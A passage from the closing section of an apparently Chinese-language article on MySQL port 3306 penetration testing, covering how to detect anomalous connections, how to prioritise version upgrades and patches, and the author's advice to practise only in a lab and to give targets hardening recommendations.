denied往往說(shuō)明有人在嘗試弱口令。非工作時(shí)間的高頻查詢(xún)長(zhǎng)期沒(méi)有業(yè)務(wù)流量的舊系統(tǒng)半夜出現(xiàn)大量查詢(xún)大概率是被外部訪問(wèn)了。用系統(tǒng)層的tcpdump抓3306端口的流量也能看到很多端倪。識(shí)別異常SQL連接模式比如執(zhí)行時(shí)間極短、頻率極高的重復(fù)查詢(xún)通常不是正常業(yè)務(wù)形態(tài)。還有一點(diǎn)——觀察連接成功后的第一條SQL。正常業(yè)務(wù)程序通常先SET NAMES或執(zhí)行查詢(xún)而人工連接通常會(huì)先執(zhí)行SELECT version或SHOW GRANTS這也是一個(gè)容易被忽略的行為特征。7.3 版本更新與已知漏洞的修復(fù)優(yōu)先級(jí)MySQL的版本更新節(jié)奏比較快5.7系列已經(jīng)進(jìn)入EOY階段官方停止維護(hù)后再出問(wèn)題就沒(méi)有補(bǔ)丁了。實(shí)際檢查中我最常見(jiàn)的兩個(gè)風(fēng)險(xiǎn)場(chǎng)景一是老版本5.7停止更新后業(yè)務(wù)側(cè)因?yàn)榧嫒菪詥?wèn)題遲遲不升級(jí)二是8.0系列發(fā)布早期版本后管理員不跟進(jìn)小版本。我建議至少做到兩點(diǎn)任何MySQL實(shí)例不低于官方支持的最低版本且小版本保持最近一兩個(gè)季度內(nèi)的補(bǔ)丁。關(guān)注官方安全公告中和數(shù)據(jù)庫(kù)認(rèn)證、權(quán)限提升、溢出相關(guān)的更新按嚴(yán)重程度排序升級(jí)。版本升級(jí)不是一件小事會(huì)遇到兼容性問(wèn)題所以測(cè)試環(huán)境要先行。升級(jí)前先做全量備份并在測(cè)試環(huán)境跑一遍業(yè)務(wù)核心鏈路成功后再同步生產(chǎn)。8. 最后再講點(diǎn)個(gè)人經(jīng)驗(yàn)回過(guò)頭來(lái)看3306端口這條線它其實(shí)是整個(gè)滲透測(cè)試流程的一個(gè)縮影。端口本身沒(méi)有善惡真正的風(fēng)險(xiǎn)來(lái)自配置、口令、版本和權(quán)限管理。我在做測(cè)試時(shí)有個(gè)習(xí)慣每打完一個(gè)目標(biāo)都會(huì)回頭整理一份加固建議給對(duì)方畢竟拿到權(quán)限不是目的幫對(duì)方看清楚防御短板才是評(píng)估的價(jià)值所在。給正在學(xué)這塊的朋友幾個(gè)實(shí)在的建議。第一一定在本地搭一套靶場(chǎng)環(huán)境再練習(xí)不要拿真實(shí)業(yè)務(wù)系統(tǒng)試手出了事不是技術(shù)問(wèn)題而是法律問(wèn)題。第二信息收集做扎實(shí)比堆工具更重要很多測(cè)試失敗都是因?yàn)檫B目標(biāo)是什么版本都沒(méi)確認(rèn)就開(kāi)始動(dòng)手。第三多記錄自己每一步的判斷依據(jù)復(fù)盤(pán)時(shí)才能看出哪些動(dòng)作是有效的、哪些是多余的。第四工具用順手了之后嘗試全手工操作一遍這樣你對(duì)MySQL協(xié)議、認(rèn)證流程、權(quán)限模型的理解深度會(huì)完全不一樣。希望這篇全流程梳理能幫你在下一次測(cè)試?yán)锷僮唿c(diǎn)彎路。